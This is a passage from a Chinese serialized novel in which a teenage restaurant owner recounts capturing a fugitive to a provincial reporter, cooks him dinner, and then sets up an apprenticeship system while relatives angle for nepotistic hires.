对于王东文的问题,胖老头不答反问:“你找哪个贺老板?” 王东文疑惑道:“还有两个贺老板吗?” 胖老头说:“怎么就没有了?我们店里有两个姓贺的,贺明军和贺明珠,都是老板,你找谁?” 贺明军?贺明珠? 王东文当机立断:“我找贺明军。” 贺明珠一听就是女人名字,看来抓住通缉犯的就是这个贺明军了! 胖老头转身朝后院喊:“老板,有人找你哥!” 后院的门打开,有人走进前厅,同时传来一道女声:“谁找我哥?” 这个声音听着年纪不大,却意外的沉稳与干脆利落,即使没看到说话的人,也会让人觉得她充满决断力。 王东文循声看去,转过一道墙,出来了一个漂亮的有些耀眼的女孩。 她看起来只有十六七岁,头发扎成长辫,衣着简单,白衬衣黑裤子,像一棵挺拔的小白杨。 女孩那双黝黑的眼睛沉静地看向王东文,开口问道:“您哪位?找贺明军有什么事?” 王东文难得卡了壳,被人问了第二遍才反应过来,有点狼狈地说: “我是省报的记者,来了解通缉犯落网的经过,想要采访一下贺明军同志。请问您是?” 贺明珠眼睛一亮,说:“记者同志你好,我是贺明军的妹妹贺明珠,你就叫我明珠吧。我哥在家养伤呢,有什么问题问我也是一样的。” 王东文不知是遗憾还是庆幸,说:“那您方便和我说一下事情的前因后果吗?” 贺明珠答应得很爽快:“没问题。” 郝村长父女也进了店里,见到贺明珠,郝翠兰激动地冲上去。 “小老板,你可算回来了!” 郝村长笑着说:“贺老板,大伙儿都惦记你呢,你回来俺们就都放心了!” 贺明珠拉着郝翠兰的手,关切地问她:“恢复得怎么样了?背上还疼吗?要不要再去医院检查?” 郝翠兰说:“小老板,俺没事,这点小伤早就好了,俺以前爬树摔得比这重多了,淤青散出来就好了。咱们店是不是要开门?俺明天回来上班吧!” 贺明珠却不答应,让她再休息休息。 郝翠兰急道:“小老板,你是不是嫌弃俺了,不想要俺回来上班?” 她指向旁边看热闹的齐小弟,委屈地说:“你是不是要让这个小白脸代替俺和徐和平当服务员?要不你为啥让他来分店上班,却不让俺回来上班?” 齐小弟躺着也中枪,默默拎着扫帚躲到后面。 贺明珠失笑:“你怎么会这么想?你是咱们店的元老,就算不留徐和平也得留你啊。” 郝翠兰倔强道:“那你得同意让俺回来上班!” 郝村长也说:“贺老板,你就答应这妮儿吧,她在家里坐不住,天天说要回来上班。” 贺明珠无奈笑道:“好,那你来上班吧。不过提前说好,你暂时只能做点菜和收银的工作,其他活儿让齐家乐去干。你要是身体不舒服,马上要告诉我。” 郝翠兰响亮地应了一声:“哎!俺听你的!” 王东文看着这一幕,不由暗暗在心中想,难怪通缉犯逃窜了全国各地,却唯独在这家小饭店落网,店里的气氛真是好啊。 贺明珠转头对王东文说:“记者同志,那我们开始采访吧?” 两人找了张干净桌子坐下,齐小弟被曹全安指挥着倒了两杯热水过去。 他是从报纸上得知通缉犯落网,听说是在贺家的饭店被抓的。 如今有机会听当事人讲这件事,齐小弟拿着抹布,厚着脸皮在附近擦桌椅、磨洋工。 曹全安没催他,大大方方坐在旁边,竖起耳朵听贺明珠的话。 出事的那天曹老头不在店里,具体发生了什么他也很好奇。 王东文拿出笔记本,将贺明珠的话都记录在本上。 可听着听着,他脸上露出古怪的神色。 “你是说,你哥,也就是贺明军,在和通缉犯搏斗的时候被摔晕在地?” 贺明珠点头:“对,他当时失去意识,之后被紧急送去医院,诊断出了脑震荡,一直到第二天才醒过来。” 她替贺明军表功:“我哥一个本本分分的老百姓,赤手空拳和通缉犯近身搏斗,还受了伤——记者同志,这应该算见义勇为吧,能不能写到报纸上?” 在说“本本分分”这四个字的时候,贺明珠有点心虚。 咳,他也就是年少无知的时候干过一段时间走私,应该……不是什么大问题吧? 王东文没注意到贺明珠说的,他现在脑子有点乱 “等等,你先别说话,让我捋一捋……” 贺明军和匪徒搏斗时被打晕,第二天才苏醒…… 那当天是谁抓住了通缉犯? 难道不是贺明军吗? 还是说,这家小饭店的老板另有其人? 想到之前胖老头反问的“你找哪个贺老板?”王东文忽然有种不祥的预感。 他缓缓抬头,眼前是好奇看着他的贺明珠。 王东文艰难开口:“是谁将热油泼到了通缉犯身上?” 贺明珠不解,但还是说:“是我。” 王东文手指颤抖,再问:“那又是谁在农田里打伤了想要逃跑的通缉犯?” 贺明珠挑眉:“也是我。” 王东文“哐”地一头磕在了桌子上。 贺明珠说:“记者同志,有什么问题吗?” 有什么问题?问题大了去了! 王东文悲愤心想:谁知道一个漂漂亮亮的小姑娘居然能一个人徒手擒获杀人越货的通缉犯啊! 说好的脑袋大脖子粗、既是老板又是伙夫的七尺大汉呢?! 贺明珠好奇地拍了拍王东文的肩膀:“记者同志,你还好吗?” “……我不好。” 王东文从桌子上爬起来,奄奄一息地说: “原来……你才是那个传说中的贺老板……” 贺明珠:? 采访快要结束时,贺明珠对王东文说: “王记者,我有一个不情之请,不知您能否答应。” 王东文拿着写满了素材的笔记本,心情激昂,恨不能立将今天的采访写成稿件,交给编辑审阅。 听到贺明珠的话,他豪爽道:“贺老板,您尽管说,只要是我能办到的,我一定竭尽全力。” 贺明珠说:“也不是什么难事,就是希望您在写报道的时候,能多提一提店里的其他人。” 王东文原以为贺明珠是希望他把自己写得好一些,又或者将煤矿人家的店名和店址写在报纸上,做个免费宣传。 但他没想到贺明珠的要求却是多写一写其他当事人。 “徐和平冒险和通缉犯周旋,保护翠兰,拖延时间,最后被捅了一刀,失血过多,差点没了命;翠兰不顾危险,掩护在厨房埋伏的我哥,让他能成功偷袭通缉犯,并在通缉犯想要杀了我哥时,拼死阻拦通缉犯,背部严重受伤;我哥赤手空拳和通缉犯搏斗,险些中枪,被摔成了脑震荡,暂时失忆。” “还有分矿的工人和郝家村的村民,他们连夜将伤员送去了医院,使他们得到及时救治,不然后果不堪设想。” 贺明珠很认真地说:“虽然没能抓住通缉犯,但他们也是英雄,报纸上应该有他们的名字。” 听到贺明珠的话,郝翠兰不好意思地红了脸。 她哪有小老板说得那么好,当时自己傻乎乎又莽撞,还骂徐和平是小人没骨气。 可要不是他,说不定被捅一刀的就是她了。 后来回想起来,才发现徐和平藏在圆滑下的善良和勇敢。 要是再有下次,她一定不会再让徐和平受伤! 郝村长听了则直咧嘴笑。 这贺老板就是厚道,自己上报纸不说,还想着拉乡亲们一把,让他们也在报纸上露露脸。 村里也没干啥,等他们赶到的时候,通缉犯都被贺老板抓住了,他们也就开着拖拉机去送伤员, 走到半路就被吉普车接走了人。 说起来还要谢谢贺老板,要不是她抓住坏人,说不定村里要遭殃。 以后饭店的事就是村里的事,和贺老板合办的养鸡场也必须办好! 听了贺明珠的话,王东文大受触动,说:“你放心,我一定会把徐和平、郝翠兰、贺明军,还有郝家村和分矿的人都写进报道中。你说得对,他们确实都是英雄。” 英雄不是只有一个。 所有直接或间接与恶人斗争过的人,都值得被称呼一句“英雄”。 人民的英雄,以及,英雄的人民。 在一旁偷听的曹全安和齐小弟若有所思,陷入各自的思绪中。 虽然有些羡慕徐、郝、贺三人被写到报纸上,可如果当时他们也在场,面对穷凶极恶、杀人如麻的通缉犯,自己是否有勇气站出来呢? 采访结束时,天色已经全黑了。 王东文向贺明珠告辞,他要骑车赶回县委招待所,趁现在灵感大爆发,连夜把这篇稿子赶出来。 只是才说了一句告辞的话,王东文的肚子就不合时宜地响了起来。 他捂着肚子,有些脸红。 贺明珠笑着说:“来了饭店哪有空肚子走的道理?王记者,吃完饭再走吧,不然你饿着肚子还有力气骑车吗?” 王东文纠结道:“不好吧,我是公干,论理不该在你们饭店吃饭……” 贺明珠说:“店里还没开门营业呢,就算你想花钱点菜也没门。再说我们自己也要吃晚饭的,一起坐下来吃一顿家常菜,不算违反纪律吧。” 郝村长也劝道:“王记者,你就留下吧,俺开拖拉机送你回县里。” 除了早上吃了一碗面,王东一天没吃饭,这会儿亢奋劲过去,饿得有点头晕眼花。 他之前为了找新闻,常常往偏僻的乡下跑。在夜里骑车时,看不清公路上的坑坑洼洼,好几次从车上摔下来,摔得眼镜腿都折了一只。 想到要饿着肚子摸黑骑几十公里,王东文心里的防线塌了一角。 “那我就厚着脸皮打扰了,不过咱们事先说好,只要粗茶淡饭,不要大鱼大肉,千万不能破费啊。” 贺明珠一乐:“没问题,正好让你尝一尝我的手艺,回头帮我们也宣传宣传。” 王东文开玩笑说:“要是不好吃的话,我可不会宣传啊。” 贺明珠很有自信:“你就瞧着吧。” 天气燥热,人的内火旺,吃点清爽的饭菜能有助于滋阴去火。 贺明珠从厨房翻出之前让许巧燕送过来的土豆淀粉,倒入盆中,加入凉白开,搅拌均匀。 接着锅中烧开水,将这一盆淀粉溶液缓缓倒入,边倒边用铲子顺时针搅拌,直到锅中粉浆变成半透明的固体凉粉。 盆中抹油,将锅中滚烫的凉粉倒入。盆放进水缸,让其浮在水面上。 大缸的水都是从井里打上来的,无论天气多热,井水都是冰冰凉凉的,正好可以加速凉粉的冷却。 趁着这段时间,她煮了一锅大料水,加盐加醋加酱油,再加入自制蒜水,调成凉粉的蘸水。 店里没新鲜蔬菜,郝翠兰从自家地里采了一篮子菜送过来。 贺明珠挑了一颗西葫芦,外表翠绿,指甲轻轻一掐都是水,正是最鲜嫩的时候。 西葫芦去皮擦丝,加入粗粮面粉,再打进去几颗鸡蛋,不加一滴水,光靠西葫芦丝本身的水分,就搅成一盆浓稠的面糊。 在平底锅倒油,将整个锅面都用油润一遍,待到油温微热,舀一勺面糊倒进锅,轻轻转动锅把,拌着西葫芦丝的面糊均匀地摊在锅底。 伴随着“滋啦”的声音,糊塌子特有的香气飘了出来,有面饼的焦香,还有西葫芦丝的清香,馋得人直流口水。 等糊塌子两面都被烙得焦黄,铲子轻轻贴底一抄,就将一整张薄薄的糊塌子铲出了锅。 王东文闻到厨房传出来的香味,像个小勾子,挠心挠肺地勾着他的心肝肚肠。 他坐立不安,仿佛椅子上长了牙,磨得他坐也坐不安稳。 一旁的齐小弟感叹道:“香!真香!” 曹全安轻轻踹了他一脚,提醒道:“想什么呢,快去厨房端菜啊!” 齐小弟这才想起他是来上班的服务员,不是在家里等饭吃,一激灵站起来,忙不迭地钻进了厨房。 王东文眼巴巴地看着他的背影,恨不能现在进去的那个人是自己。 不多时,厨房的门帘被掀开,齐小弟两手各端着一盘一碗走了出来。 “贺明……贺老板让我们趁热吃,还有一道菜马上好。” 盘里盛的是一摞新烙出来的糊塌子,香喷喷地冒着热气。 碗里是吃糊塌子的蘸料,大蒜去皮捣成泥,用凉白开激出蒜香,再倒入酱油和香油。 拌好的蘸料鲜辣咸香,吃之前蘸一下,入口后糊塌子既有蒜香,又有西葫芦丝的清香,相得益彰。 王东文饿极了,稍微谦虚两句,夹起糊塌子就吃。 他是客人,其他人都谦让,让他先夹了第一筷,正好是最上面刚烙好的糊塌子。 王东文吃得烫嘴,嘶嘶嘶吸着冷气,却怎么也不舍得将嘴里的糊塌子吐出来。 这饼也太好吃了吧! 糊塌子吃起来外脆内软,咬碎外面一层烙得焦黄的酥壳,里面的面饼软极了,像是更硬一些的鸡蛋羹,不用怎么嚼,就吞进肚子里。 西葫芦丝的口感很奇妙,柔软中带着几分嚼劲,又有蔬菜特有的清新味道,香酥软嫩,越吃越香。 王东文胃口大开,连着吃了好几张糊塌子,这才把胃里那股子挖心挖肺的饿劲儿给压下去。 他有些不好意思地放下筷子,却见其他人的吃相也没比他好哪儿去。 胖师傅眯着眼睛做品鉴状,一边吃一边夸:“这个饼烙得好,外酥里嫩,不错,不错……” 姓齐的小伙子两口一张糊塌子,连蘸料都不用,只重复两个动作:夹饼,嚼两下,再夹饼,再嚼两下…… 随着他的动作,盘里的饼匀速减少。 王东文顿生紧迫感,顾不上不好意思了,急忙拿起筷子,重新投入抢饼的活动中。 曹全安偷偷在桌子下踹了齐小弟一脚,对方嘴里叼着半块饼,迷茫地朝他看过来。 曹全安压低声音,耳语道:“傻小子,别吃了,这一盘饼都快被你吃光了!” 齐小弟既茫然又委屈:“啊?可我也没吃多少……” 曹全安的铁砂掌拍在齐小弟肩膀上,指挥道: “去厨房看看老板有什么要帮忙的?” 齐小弟不情愿地放下筷子,磨磨蹭蹭站起了身。 贺明珠正在做鸡油煎豆腐。 鸡油是之前杀鸡时将鸡腹内的肥油单独分出来,用类似猪油的制作方法炼出来。 走地鸡的脂肪含量低,这段时间攒下的鸡油不过小小一盆。 贺明珠舀了一小勺鸡油在热锅中化开,老豆腐切成大块,放入锅中小火慢煎。 待豆腐被煎得两面金黄时,倒入酱油、蚝油和白糖调好的酱汁,充分浸透豆腐,大火收汁,直到锅中酱汁收干,变得浓郁起来。 最后放入切碎的青蒜和小辣椒,均匀地洒满豆腐表面。 贺明珠将出锅的煎豆腐倒入盆中,递给齐小弟,说: “送出去吧,还有,你让曹师傅进来。” 曹全安进了厨房,贺明珠擦擦头上的汗,让他再炒两道青菜,她去把凉粉切了。 说罢,她又让齐小弟把凉粉盆和蘸水都端出来,以及案板和菜刀。 桌子上放了一排调料,贺明珠摆出一副凉粉摊的架势。 凉粉从盆中捞出来,放在案板上细细地切成条,用菜刀抄起放入碗中,倒入蘸水,再加入盐醋味精等调料。 要放辣椒油时,贺明珠扬声问王东文:“王记者,吃不吃辣?” 王东文兴冲冲地凑过来,说:“吃!多来点儿,这辣椒油看着就香。” 辣椒酱是贺明珠自制的,多种辣椒晒干后磨成粉,按不同比例加入,再撒上白芝麻,最后滚油泼上去,激出满屋的辣香。 贺明珠提醒一句:“我做的辣椒油很辣的。” 王东文心想自己走南闯北,不管是四川还是江西都闯过,还怕这点辣椒。 他豪迈地说:“随便放,这一碗我绝对吃得干干净净,连一滴汤都不会剩!” 贺明珠狡猾一笑,果真给王东文放了一大勺辣椒油。 王东文端着碗,也不回座位,拿起筷子就捞凉粉吃。 第一口进肚,他还在感叹这凉粉做的真好,软滑柔韧,吃起来柔软又筋道,几乎不用嚼,顺着嗓子眼就自动滑下去。 难怪有的地方会把吃凉粉说成是喝凉粉,这上好的凉粉果然吃起来像是在喝,顺滑无比。 可下一秒,他的眼睛忽然瞪大。 怎么会这么辣! 一把火从舌尖烧起来,以极快的速度燃遍了整个口腔,并顺着喉咙一路向下蔓延。 火辣辣的感觉冲入大脑,一瞬间 ,身上发出一层汗,整张脸都涨得通红,额头上噼里啪啦往下掉汗珠。 王东文辣得连连吸气,手里的碗都快端不住了。 贺明珠笑眯眯地问他:“辣不辣?要不要喝点水?” 男人怎么能说不行,王东文硬着头皮说:“不辣,一点也不辣!” 为表态度,他又捞了一筷子凉粉送入口中。 真香,也真辣! 但熬过了开始那股辣劲,就能尝到辣椒油丰富的层次,细腻鲜香,辣而不苦,有种绵长的后调。 王东文被辣得嘴唇通红,却越吃越香,吃得就是辣味,要的就是刺激。 他呼噜噜将一碗凉粉吃得干净,连汤都喝完了。 空碗朝贺明珠方向一递,王东文说: “贺老板,好吃,再来一碗!” 第97章 第97章招学徒啦 贺明珠上报纸啦! 全国通缉的悍匪终于在乌城落网,贺明珠是最大功臣,在自身毫发无伤的前提下重伤通缉犯,并成功将其一举活捉。 此前报纸上的相关文章虽然提到通缉犯是被在抢劫村口饭店时,被该饭店的老板抓住,但关于这位智勇双全老板的具体情况,记者们并没有多做报道。 除了消息灵通的乌城本地人外,绝大多数外地读者对这家名叫“煤矿人家”的饭店还是很陌生的。 不少人对能抓住通缉犯的饭店老板好奇极了,但碍于这年头信息传递不便,社交环境相对封闭,人们基本只能与身边的人进行交流。 个人认知造就了社交环境,而认知又被环境所塑造。 几乎所有人都像之前的王东文一样,先入为主地认为饭店老板应该是个五大三粗的壮汉。 满脸络腮胡,说话如打雷,徒手就能按住待宰年猪,区区通缉犯不在话下。 以讹传讹,煤矿人家的老板变成了张飞类型的绿林好汉,甚至连人物小传都被编了出来。 什么老板年方三十,自幼习武打熬筋骨,青年应征入伍,奔赴越南战场,斩将夺旗,荣立一二三等功,光荣退伍后谢绝国家安排的工作,回到老家种地务农,还开了一家小饭馆,招待南来北往的过路人。 这事儿传得活灵活现,就跟说书似的,什么炊事班中出英豪,小山村里立奇功。 群众也爱听,听得津津有味,还自发添加了不少细节。 比方说通缉犯狗眼不识泰山,将高手隐居的小山村寻常对待,意图杀人夺财。老板为民除害,徒手夺枪,当着通缉犯的面将铁铸的枪管硬生生掰弯,吓得通缉犯跪地求饶,直呼“爷爷我错了”云云。 总之,经过一番集体创作,贺明珠已然从青春期少女变成了胸口长毛的七尺壮汉,并作为全民偶像出道,闻名全国。 有人给乌城的亲友写信,请他们代为问候煤矿人家的好汉老板,并致以崇高的敬意。 亲友回信说,煤矿人家我知道,煤矿人家的老板我也知道,但你说的好汉我没听说过。 由此可以想象,当王东文对贺明珠的专访报道刊登在报纸上时,读者们看到好汉老板由男变女时,所受到的巨大震撼了。 某城路边的一家报刊亭。 早起上班的人路过报刊亭,捏闸刹车,单腿支地,将五分钱递给报刊亭老板。 “给我来一份早报。” 老板却没反应,目瞪口呆地盯着手中的报纸。 急着上班,客人又催了一遍:“老板,早报!” 老板终于注意到报刊亭前面停着的客人,但显然他的意识还飘在遥远的地方。 他颤抖着声音说:“饭店老板,怎么会是女人?” 客人:??? 客人:!!! 客人有种不祥的预感,追问:“你说的是哪个饭店老板?” 报刊亭老板的眼神缓缓移向客人,视线却不聚焦,像在看他,又像是透过他看向远方。 “煤矿人家的老板,居然是女的……” 客人急了,跳下车,自己冲到报纸摊前,拿起一份早报。 翻开报纸,在显著位置有一篇报道,标题写着《巾帼不让须眉,少女老板智擒通缉犯》,客人的眼睛瞬间瞪大了。 震惊过后,他一目十行,快速地读下去。 “……通缉犯洪某流窜多地作案,多次持枪作案,抢劫杀人,手段凶狠残忍……在公安机关的围捕下,洪某逃窜至郝家村,伺机对村口一家名为“煤矿人家”饭的店进行抢劫……” 快速略过前面案情介绍,读到关键内容,客人的语速慢了下来,一字一顿地念了出来: “煤矿人家老板、十六岁女中学生贺明珠,凭借过人胆识和智慧,协助公安机关抓获了该名潜逃一年半的通缉犯,为维护社会治安立下大功……” 他像是不相信自己的眼睛,又重复了一遍关键词。 “煤矿人家老板?” “十六岁女中学生?” “贺明珠?” 客人缓缓抬起头,和同样陷入震惊无法自拔的报刊亭老板面面相觑。 这时,又有人来到报刊亭,同样掏出五分钱,要买一份早报。 老板僵硬地收下钱,将今天的早报递给了新来的客人,梦游般说道: “那个抓住通缉犯的饭店老板,居然是个女中学生……” 新来的客人反应激烈:“什么???!!!” 没过多久,报刊亭前面围了一圈的人。 大家状态相似,手里拿着一份今天的早报,先是目瞪口呆,说不出话来;反应过来就拉着周围的人疯狂输出。 “你听说了吗?那个饭店老板居然是个女的!” “他不是退伍老兵吗?怎么会是女人?!” “什么退伍兵,人家是中学生!” “一个女学生单枪匹马把拿枪的通缉犯给抓了?骗人的吧?” “我不相信!好汉老板会是女的!他怎么会是女的,他怎么能是女的呢?!” “是谁说他和饭店老板是同年兵,还互相搓过背?给我站出来,我今天就要打死这个骗子!” “其实这个老板是武术世家吧?不然一个小姑娘怎么打得过抢劫犯?” “哎,你不上班拿着介绍信去哪儿?” “我现在就坐火车去乌城!我要亲眼看看煤矿人家的老板是不是女学生!” 王东文的报道火遍了全国,一时间洛阳纸贵,刊登了这篇报道的报纸一份难求。 印刷厂连夜再版,该份报纸创下了销量新高,报社领导笑得合不拢嘴,对王东文赞赏不已。 与此同时,乌城的两家煤矿人家也迎来了新的客流高峰期。 冯解放和曹全安分别镇守一矿总店和分矿二店,两位师傅年纪大,比不了年轻时候,面对汹涌而来的客人,一时间有些心有余而力不足。 毕竟颠锅是个体力活儿,对身体素质的要求还是挺高的,加上天气炎热,空调没有普及的年代,厨房像个大蒸笼,体质差的人进去没一会儿就要中暑。 贺明军身体没好全,即使他强烈要求要返岗,被贺明珠坚决拒绝了。 虽然现在是暑假,贺明珠可以再次亲自上阵掌勺,但她一个人没办法同时和两地的厨师换 班。 而临时招聘厨师,仓促间很难找到合心意的人选,万一要是做菜不好吃,就是自砸招牌了。 毕竟煤矿人家的基石不是新闻带来的虚名,而是实打实的美味。 于是,贺明珠和冯、梁两位师傅商量过后,由他们自行招一名学徒,平时带在身边,既是徒弟,也是厨师助理。 老规矩是,学徒三年,三年吃苦。 学徒相当于自带干粮的包身工,不发钱不休息,跑腿打杂样样都干,从头到脚把师父伺候得舒舒服服,也不一定能学到师父的吃饭本事。 曹全安的意思是,新招的学徒照老规矩来,不发工资,想来,就老老实实在他手下打熬年岁。 等什么时候他干不动了,什么时候再考虑教这小子真本事。 冯解放却不同意,说现在是新社会了,不能用旧社会的那一套。学徒虽然是徒弟,但也是同事,要以老带新,就像在国企时带徒弟,充分发挥传帮带的作用。 曹全安不服气地反驳: “什么新社会旧社会,我只知道我就是这么从我师父手下练出来的,要我带徒弟,我也只会这一套。师父师父,一日为师终身为父,不拿我当爹敬着,我凭什么要把吃饭的手艺教给不知道哪儿来的臭小子?” 冯解放一向说不过曹全安,索性也不和他争论,直接对贺明珠说:“老板,你看呢?” 贺明珠想了想,说:“冯师傅,曹师傅,我了解你们的意思了。我有个主意,不如你们听听看。” 她参考后世的现代酒店制度,将厨房岗位分为行政总厨、厨师长和菜肴厨师三个层级。 行政总厨负责整个厨房的管理工作,有权决定对外提供的菜单和对内使用的菜谱,甚至具体到使用什么食材和调味品。 也就是说,饭店提供什么样的饭菜、饭菜的口味如何,都是由行政总厨来决定。 当客人来到饭店点菜时,西红柿鸡蛋是咸口还是甜口,粽子是枣馅儿还是肉馅儿,豆腐脑是放咸口卤子还是甜口糖桂花,全部取决于行政主厨。 贺明珠当仁不让地担任煤矿人家的行政总厨。 或者说,她早已一手塑造了煤矿人家的口味和风格,如今只是明确了具体职位和职权,是行政总厨,而不是模糊不清的老板。 厨师长是行政总厨的副手,协助总厨管理厨房的具体事务,同时也可以对厨房的管理工作提出自己的看法,某种程度上可以说是“一人之下万人之上”的职位。 菜肴厨师是负责制作具体菜肴的厨师,将行政总厨对菜品的口味要求落实到每道菜,是厨房里的执行者。 虽然目前煤矿人家只有冯解放和曹全安两位厨师,但在贺明珠的计划中,他们是未来的厨师长,协助她管理不同分店的厨房。 随着客流的增加,扩大饭店规模之事已提上日程,招新厨师势在必行。 学徒是第一步,如果顺利的话,他们将转为第一批菜肴厨师。 在贺明珠的设想中,煤矿人家的学徒制度既不是剥削徒弟的奴隶制度,也不是师父单方面无私奉献的传帮带,而是在设有明确晋升制度的基础上,一种互惠互利的新型制度。 贺明珠对冯、曹两位师傅说: “新招的学徒是徒弟,也是同事,更是你们未来工作的帮手。以后饭店规模会越来越大,所需要的厨师也会越来越多。与其从外面招人,我更倾向于从零基础开始培养,这样培养出来的厨师,他的做菜风格和口味也会更符合我们饭店的要求。” 听到贺明珠的话,面对前所未见的新型厨房岗位架构,冯解放和曹全安陷入了思考中。 贺明珠对曹全安说:“曹师傅,我理解您的担心,但您放心,煤矿人家做不出,也不会做卸磨杀驴的事,您就放心带学徒,将来您在分店厨房掌舵,下面总要有人出力划船。” 曹全安怪不好意思地说:“让我做厨师长能行吗?我都这么大年纪了,退休的人还折腾……” 贺明珠说:“曹师傅,现在正是您焕发事业第二春的好时机,建国以来有几次改革开放呢?这是难得的历史机遇,如果没有抓住的话,岂不是一生的遗憾?” 一想到自己垂垂老矣时,自问为什么早早就退休养老、不再为子孙拼一把,错过了大好机会…… 曹全安一咬牙一跺脚,说:“好,我干了!” 冯解放则说:“老板,我愿意为饭店培养一批新的厨师。枯木逢春犹再发,我还没老到干不动,这个厨师长,我当定了!” 两位老头对视一眼,眼中尽是堪比年轻人的激情与斗志。 贺明珠笑着说:“两位师傅,咱们一起奋斗!” 招学徒的事说定,冯解放和曹全安各自负责面试前来应聘的徒弟。 期间不乏有亲戚朋友托人情、找关系,想把自家的待业青年塞到煤矿人家来当学徒。 毕竟这家饭店虽是个体户开的,可在矿务局的名声很大,还上了报纸,就连外省市的人都听说了。 而且煤矿人家的生意极其兴旺,每天进进出出吃饭的人不计其数,就算每个人进店后只花了一块钱,饭店一天就能挣大几百块钱,一个月就能挣出一个万元户! 虽然这个计算方式过于简单粗暴,没有考虑材料、人员和租金成本,但也让矿务局的人向往不已。 就算是进去当学徒,一个月只能挣十五块钱的工资,但店里包吃,还能和老师傅学手艺。 三年出师后,就算不在店里干,也能自己出来开一家小饭店。 不敢想和煤矿人家似的每个月能挣一万块钱,就是挣个几百上千块那也是全市绝无仅有的高薪。 一时间,来面试当学徒的人几乎要把煤矿人家的大门都堵了。 对于通过关系介绍来的人,冯、曹两位师傅表现得格外的铁面无私。 曹全安的小舅子来找姐姐商量,能不能把他小舅子的外甥送来当学徒。 对于小舅子的小舅子请托,曹全安不耐烦道:“什么外八路的亲戚也找上咱们家,脸皮真够厚的。你弟弟也是,逢年过节从不主动上门,这会儿倒是想起我这个姐夫了。” 曹全安媳妇劝道:“家里孩子没工作也是挺烦心的,咱们能帮就帮一把。正好你手上管着招人的事,与其便宜了外人,还不如让咱们自家人得点好处呢。” 曹全安用鼻子喷气,不耐烦道:“你个老娘们懂什么?以前我们店都是老板亲自招人,这回是信任我,才让我自个儿招学徒。我要是招个歪瓜裂枣的,那不是给自己找不自在吗?再说了,这学徒又不是招完就完了,我还得亲自调教,要是用着不顺手,那最后累的还不是我吗?” 曹全安媳妇还想再劝,她弟媳的娘家弟弟托关系办事,总不能让人家白张这一回口吧? 要是就这么回绝了,她弟弟岂不在老丈人家没面子? 曹全安听也不听,不快地打断了她的话。 “到底谁和你是一家子?你有没有内外之分?你看看我现在都累成什么样了,裤腰肥了一大圈,你不给我省事儿就算了,怎么还倒过来给我找事儿!” 曹家现在最大的收入来源是曹老头的工资,一个人挣的钱顶家里其他人挣钱之和。 有钱腰板就硬,曹老头在家里说一不二,他说不行就不行,没有商量余地,他媳妇也没办法。 但这么直接回绝的话,以后亲戚见面也尴尬。 她就想了个招,让弟弟的小舅子的外甥照常去面试学徒,说是走个过场。 等面试结束,人家问她什么时候去饭店上班,她就说饭店老板不同意招人,这样就把锅推到老板身上,自家也不得罪人。 与此同时,另一边的冯家也热闹不已。 冯解放的大儿媳亲亲热热地给老两口端来一小锅的绿豆汤,笑呵呵地说: “爸,妈,刚熬好的绿豆汤,你们趁热喝,解解暑气。” 她给两老各盛了一碗绿豆汤,先递给冯解放,再递给冯老太太。 “爸,您在厨房干了一天,赶紧喝口绿豆汤,免得上火。” 对于大儿媳的殷勤,冯解放放下了碗,不动声色地说: “好,辛苦你了,你也上了一天的班,早点休息吧。” 大儿媳却不肯走,笑得热情极了。 “我年纪轻轻的,上班有什么辛苦。倒是爸,年纪这么大还要在厨房干活,人都瘦了一圈,我看着是真心疼,我们做儿女的,只想孝顺父母,让您老也享享晚福。” 老太太看了一眼自家老头,又狐疑地看了一眼大儿媳。 做了几年的婆媳,她对这个 大儿媳也算是有初步了解。 说出来不太好听,但她这个儿媳妇还真是个无利不起早的主儿。要是没点儿好处,就别指望能看着她的好脸色。 不过自家孩子自家疼,自家父母自家孝顺。 她没养过大儿媳,也不惦记让她来养老。亲生儿子撒开手不管,光盯着儿媳妇有什么意思。 老太太对大儿媳说:“你的孝心我们都知道了。天也晚了,你明天还要上班,回去睡吧。” 大儿媳还是不肯走,一会儿说要帮忙舀汤,一会儿又说要加两勺白砂糖,总之就是缠着两老不放。 老太太属于捎带的,重点缠的是冯老头。 冯解放一看这么拖着也不是回事,索性直接问道: “老大媳妇,你是不是有什么话要和我说?” 大儿媳谄笑着说:“还是爸火眼金睛,我这点小心思都瞒不过您。是这么个情况,我娘家侄子从乡下插队回来也有几年了,现在也没找着工作。我想着,一矿饭店不是正在招学徒吗?与其招一些不知根底的外人,不如让我侄子来,自家人,知根知底,总比外人好。” 冯解放沉吟,又问:“你这个侄子,会做饭吗?” 大儿媳连声道:“会,会!不是我夸嘴,我侄子做饭做得可好了,天天在家下厨,家里的年夜饭都是他烧的……” 大儿媳这边王婆卖瓜自卖自夸,老太太悄声嘀咕一句: “还烧年夜饭,我怎么记着老大和我说,他岳家的年夜饭是丈母娘一个人做的,累得闪了腰,一个正月让老大天天过去烧饭……” 冯解放靠得近,听到老太太的话,他轻咳了一声。 听到咳嗽声,大儿媳立刻将搪瓷杯递过去,关切地说:“爸,您是不是呛到了?快喝口水顺一顺。” 冯解放接过杯子,摩挲着搪瓷上的划痕,缓缓地说: “学徒的事不是我一个人能定的,你侄子想来的话,先来店里面试,通过了再来上班。” 大儿媳脸上露出不快的表情,旋即又压了下去,堆出一脸的笑。 “爸,瞧您说的,这学徒不就是给您招的吗?怎么可能您说了不算?我娘家愁我侄子的事都愁了好几年,没工作连对象都找不着。您就当帮帮老亲家,就招了他吧。” 冯解放没搭茬,说了个日期。 “你侄子要是想当学徒的话,就这个时间来店里面试吧。不过我话说在前面,学徒是个辛苦活儿,没三年出不了师。你家里要是舍不得孩子吃苦,就再给他找找别的出路吧。” 说罢,冯解放看了老妻一眼。 老太太心有灵犀,起身将大儿媳半强迫地推出了门。 “我们老两口要睡了,就不留你,你也回去早点睡吧。” 大儿媳被推出了门,站在门口咬牙切齿。 这个老东西! 隔天是周末,大儿子夫妻拎着大包小包回了娘家。 大儿子自觉地提着菜去厨房做饭,大儿媳盘腿坐在炕上,一边嗑瓜子,一边对娘家人说: “放心吧,我都和老头子说好了,就是去走个过场,第二天就能上班。” 大儿媳的老母亲说:“哎呀,就是工资低了些,怎么才十五块?要是再加十块钱就好了。” 大儿媳的嫂子忙说:“妈,有工作就不错了,钱多钱少的咱不挑,先进去上班,工资的事慢慢来。” 她接着对大儿媳说:“妹子,你多操点心,让你公公和饭店老板说说,都是自家孩子,这工资也不能一直这么低吧?” 大儿媳心里叫苦,暗自想这能不能上班还两说呢,但嘴上还在大包大揽。 “放心吧,这饭店就和咱们自家人开的一样,涨工资不就是我公公一句话的事吗?” 作为能给娘家分忧的女儿,大儿媳获得全家人的赞扬,一时间被捧得飘飘然,差点忘了自己是谁。 